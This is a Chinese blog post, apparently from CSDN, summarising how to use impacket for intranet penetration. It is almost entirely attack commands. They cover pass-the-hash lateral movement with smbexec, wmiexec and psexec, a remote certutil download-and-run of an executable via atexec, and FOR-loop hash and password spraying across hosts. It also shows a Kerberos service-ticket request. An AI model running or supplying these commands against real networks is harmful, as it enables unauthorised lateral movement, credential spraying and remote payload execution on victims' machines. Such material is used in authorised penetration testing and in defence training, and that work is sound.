impacket的使用总结

本文详细介绍如何使用impacket工具进行网络渗透测试,包括下载地址、smbexec、wmiexec、psexec等模块的使用方法,以及通过atexec模块进行文件下载与远程命令执行的技巧。此外,还讲解了hash喷洒攻击、黄金票据制作与使用,以及在Linux环境中获取票据的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

impacket下载地址

exe版本下载地址
python版本下载地址

smbexec

./smbexec.py test/administrator@192.168.23.99 -hashes aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678 #左面是lm-hash,右边是nt-hash,lmhash可以为空
./smbexec.py -hashes :3dbde697d71690a769204beb12283678 test/administrator@192.168.23.99
./smbexec.py test/administrator:123@192.168.23.99
在这里插入图片描述

wmiexec

./wmiexec.py -hashes :7ce21f17c0aee7fb9ceba532d0546ad6 test/administrator@172.16.99.146
在这里插入图片描述

psexec

./psexec.py -hashes :7ce21f17c0aee7fb9ceba532d0546ad6 test/administrator@172.16.99.146

./psexec.py -hashes :7ce21f17c0aee7fb9ceba532d0546ad6 test/administrator@192.168.124.136 -c /root/1.exe
在这里插入图片描述

文件下载与远程命令执行

./atexec.py test/administrator:1234@192.168.124.136 “certutil -urlcache -split -f http://192.168.124.136/1.exe 2.exe”

./atexec.py -hashes :7ce21f17c0aee7fb9ceba532d0546ad6 test/administrator@192.168.124.136 1.exe

hash喷洒攻击

内网机器遍历做hash传递验证,ips.txt内容为内网ip,每段一条
FOR /F %i in (ips.txt) do atexec.exe -hashes :3dbde697d71690a769204beb12283678 ./administrator@%i whoami
在这里插入图片描述

指定主机ntlm hash遍历验证,hashes.txt为已知ntlm hash内容,每段一条
FOR /F %i in (hashes.txt) do atexec.exe -hashes %i ./administrator@192.168.23.99 whoami
在这里插入图片描述
文件内部的hash格式应该为":nthash"或者"lmhash:nthash",如果只采用nthash切记加一个冒号":"
在这里插入图片描述

内网机器遍历做密码验证,passwords.txt为已知密码内容,每段一条
FOR /F %i in (passwords.txt) do atexec.exe ./administrator:%i@192.168.23.99 whoami
在这里插入图片描述

指定主机密码遍历验证,ips.txt内容为内网ip,每段一条
FOR /F %i in (ips.txt) do atexec.exe ./administrator:123@%i whoami

在这里插入图片描述

制作黄金票据

请参看我的黄金票据的制作与使用这篇博客。

linux获取票据

python3 getST.py -dc-ip 172.24.1.99 -spn krbtgt/test.com@test.com test/zhujiayu:123

评论 13
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值